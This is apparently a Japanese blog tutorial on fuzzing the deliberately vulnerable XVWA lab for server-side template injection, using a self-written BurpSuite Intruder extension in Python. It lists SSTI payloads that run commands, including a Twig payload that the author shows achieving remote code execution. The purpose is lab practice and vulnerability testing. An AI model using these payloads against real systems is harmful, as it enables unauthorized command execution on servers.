【悪用ダメ】XVWAちゃんにFuzzing攻撃をしてみる（Server Side Template Injection 編）

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。

本記事は以前紹介した総受けサイト「XVWA」に対してFuzzing攻撃を仕掛けてみたときのことをまとめてみようと思う。
今回はFuzzingとしてSSTIの脆弱性を付くようなコードを送り込みます。
※ツールとしてはBurpSuite(「OS Command Injection編」を参照)の拡張機能を使います。
　拡張機能コードを自作していきます。

※XVWAをローカルに立てる記事は以下になります。

https://qiita.com/schectman-hell/items/d33716320616a6fca772

※その他色々と「XVWA」ちゃんをいじめた記事もあるのでこっちもみていってね！！

https://qiita.com/schectman-hell/items/220582a017062963b5d7

https://qiita.com/schectman-hell/items/4d79ea3176980e0bc087

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___


# 目次
+ Fuzzingとは
+ SSTI攻撃とは
+ スクリプト作成
    + Payloadリストを作成
    + BurpSuite拡張機能作成
+ Fuzzing実践
    + スクリプトの取り込み
    + 実行
+ まとめ

# Fuzzingとは

IPAが示している「ファジング活用の手引き」から以下の文言を引用する。

>「ファジング」とは、検査対象のソフトウェア製品に「ファズ（英名：fuzz）」と呼ばれる問題
を引き起こしそうなデータを大量に送り込み、その応答や挙動を監視することで脆弱性を検出す
る検査手法です。


https://www.ipa.go.jp/security/vuln/fuzzing.html

要するに、脆弱性が発露しそうな文字列などを大量に叩き込んでみて、診断してみようとかいった感じである。

# SSTI攻撃とは
テンプレートエンジンをサーバ側で動かして、意図しない出力をさせるやつですね。
phpを使うシステムで、HTML内に`{{3 + 3}}`みたいなのがあれば`6`って出力してくれるたりするアレ使います。

例としては以下のようコードがあります。脆弱性が発露すればRCEが成立しちゃいますね。
+ java
`${T(java.lang.Runtime).getRuntime().exec('id')}`
+ javascript
`{% import os %}{{ os.popen("id").read() }}`
+ Python
`{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}`

# スクリプト作成
ここからはSSTIの脆弱性が発露するようなコードを使ってFuzzingするためのPythonスクリプトを組んでいきます。
※「BApp Stores」にはBurpSuiteのいい拡張機能がそろっているので、自作する必要性がない場合はここから読まなくていいかもね（笑）
※というよりこのレベルの通信量であればただの脆弱性検査、タイトル詐欺ですね（笑）

## Payloadリストを作成
今回のSSTIを検査するためのPayloadは以下のGitHubから拝借しました。

https://github.com/payloadbox/ssti-payloads

これらのPayloadをPython内部で使うために少々整形を行います。

```python:list_export.py
import sys

# Pyhton用のPayload_List作成関数
def list_export(filepath):
    new_scripts = list()
    with open(filepath, 'r', encoding='utf-8') as f:
        for script in f.read().splitlines():
            if '\"' in script and "\'" not in script:
                parse = f'\'{script}\','
                new_scripts.append(parse)
            elif "\'" in script and '\"' not in script:
                parse = f'\"{script}\",'
                new_scripts.append(parse)
            elif '\"' not in script and "\'" not in script:
                parse = f'\"{script}\",'
                new_scripts.append(parse)
    return new_scripts
  

if __name__ == '__main__':
    if sys.argv[1]:
        new_lists = list_export(sys.argv[1])
        if new_lists:
            with open('output.txt', 'w', encoding='utf-8', newline='\n') as f:
                for new_list in new_lists:
                    f.write(new_list)
                    f.write('\n')  
        else :
            print('No list')          
    else:
        print('require file name')
```
第一引数としてPayloadの一覧が記載されているファイルを読み込みます。そのファイルの各行を読み込んだのちに、
Pythonのリストとして扱うことが出来るようにPayloadを`'`や`"`で文字列認識するように囲います。あとは最後にコンマつける感じですね。
単純な整形です。
※`'`や`"`が両方とも含まれているのはPayloadリストに入ってこないのが難点。何かいい方法ないかね？

## BurpSuite拡張機能作成
上記で作成したリストをもとにBurpSuiteの拡張機能を作成していきます。

```python:ssti_pentest.py
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
from java.util import List, ArrayList

import random

try_num = 30 #１つの入力値に対するペイロード実行回数
payload_list = [
    "{{2*2}}[[3*3]]",
    "{{3*3}}",
    "{{3*'3'}}",
    .....#以下略
]

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()

        callbacks.registerIntruderPayloadGeneratorFactory(self)
        return
    
    def getGeneratorName(self):
        return "SSTI Payload Generator" #Burpで表示される名前設定

    def createNewInstance(self, attack):
        return BurpFuzzer(self, attack)


class BurpFuzzer(IIntruderPayloadGenerator):
    def __init__(self, extender, attack):
        self._extender = extender
        self._helpers = extender._helpers
        self._attack = attack
        self.max_payloads = try_num
        self.num_iterations = 0
        self.num_tried = list() #過去に実行したことがあるペイロードの番号リスト

        return
    
    def hasMorePayloads(self):
        if self.num_iterations == self.max_payloads:
            return False
        else:
            return True
    
    def getNextPayload(self, current_payload):
        payload = ''.join(chr(x) for x in current_payload)

        payload = self.mutate_payload(payload)

        self.num_iterations += 1

        return payload
    
    def reset(self):
        self.num_iterations = 0
        return
    
    def mutate_payload(self, original_payload):
        #どこにペイロードを紛れ込ませるかはランダムに決定。
        offset = random.randint(0, len(original_payload) - 1)
        front, back = original_payload[:offset], original_payload[offset:]
        
        #実行回数がPayloadリスト数を上回れば一生回るので注意
        while True:
            sample_number = random.randint(0, len(payload_list) -1)
            if sample_number not in self.num_tried:
                    self.num_tried.append(sample_number)
                    break
        front += payload_list[sample_number]

        return front + back
```

`payload_list`内部に先ほど作成したリストを書き込み、そのPayloadリストからランダムでPayloadを埋め込んだ通信を実施する。
そのPayloadを埋め込む箇所も、BurpSuiteから実際に行った正常通信の文字列のどこに埋め込むかはランダムで決定するようにしている。

# Fuzzing実践
作成したスクリプトを用いて実際にFuzzingしてみようかなと思ってみたり...

## スクリプトの取り込み
BurpSuiteでPythonを実行するためにはまず'Jython'をインストールする必要があります。
以下のサイトから「Jython Standalone」のJARファイルをインストールします。

https://www.jython.org/download.html

その後、JARファイルをBurpsuiteに入れ込む際には以下のように
「Extender」→「Options」→「Python Environment」からファイルを読み込みます。

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b569617b-8ebc-9bbb-042b-473bbb66c49d.png)

次に作成したPythonファイルの読み込みを読み込む。以下のように、
「Extender」→「Extensions」→「Add」→「Extension Details」を押していき、
「Extension type:」で「Python」を選択、「Select file ...」で先ほど作成した「ssti_pentest.py」を選択する。

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9e949b84-1100-a163-db4b-b3da321ec6c9.png)

これで読み込みが完了すれば、Fuzzingする環境は整った...

# 実行
まず正常通信を見てみましょう。
「XVWA」ちゃんを立ち上げて以下の「Server Side Template Injection」へ進みます。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7adaa257-3b57-dcb5-cf80-fdb5dd3f77e7.png)
次に「Enter Your Name」の中に適当に文字列（aaaとか）を入れてリクエストを投げてみます。
BurpSuiteをプロキシ設定していると以下のように通信していることがわかります。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/475b55e2-9f79-db27-5093-5d46e977fdf5.png)
ブラウザ上ではこのように見えます。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b182b230-a647-72a2-73bf-37466e716dc2.png)

では、Fuzzingをやってみよう。
該当の通信のログに対して右クリックをして「Send Intruder」を選択。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f6ef593b-1ba8-7426-106a-fbccb7a78fc6.png)

次に以下のようにクリック
「Intruder」→「Payloads」

出てきた表示内容の「Payload Sets」の「Payload type:」を「Extension-generated」に設定し
「Payload Options」から該当のものを選択する。（今回は表示名「SSTI Payload Generator」ですな）

![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/07b85978-7b0f-83e7-e9c6-3e97f3c9dc89.png)

「Positions」タブへ行き、ペイロードを埋め込む位置を確認する。
`§`マークで囲われている薄緑色の箇所がそれである。
※最初は`Cockie`の`PHPSESSID`にもかかっているが、今回は検査対象としていない。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/db22412b-c0cc-1117-976f-b2c8cd53c424.png)

「Start attack」で検査開始である。
※実施したら少し回り終わるまで待ってみよう...


...以下のように結果の一部を表示する。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/40b57635-2ddd-8c9f-3711-64afe4eefc81.png)
上記のように`{{3*3}}`が計算されて出てくるなぁ。あるねぇ。。PHPだねぇ。。。
※まぁ脆弱性あるように設計されてるやられサイトなんで当たり前なんですが。

というわけでPHP系のコードを試してみたら以下のTwingに対するPayloadでRCE攻撃ができた。
※よく見たらXVWAちゃんにTwing使ってるって書いてる（笑）
`{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4414b3b2-1168-d145-7ff5-d67fd25a6002.png)

怖い。。。

ページのコード内部を見てみると、リクエストから受け取った値をそのまま`render, echo`してますね。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/71cadee5-22b7-7ae5-3538-12a4a0a8e137.png)


# まとめ
第十四回の投稿はいかがだったでしょうか？
XVWAちゃんにBurpSuiteを使ったFuzzing（違う）を行い、脆弱性の検査を実施しました。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。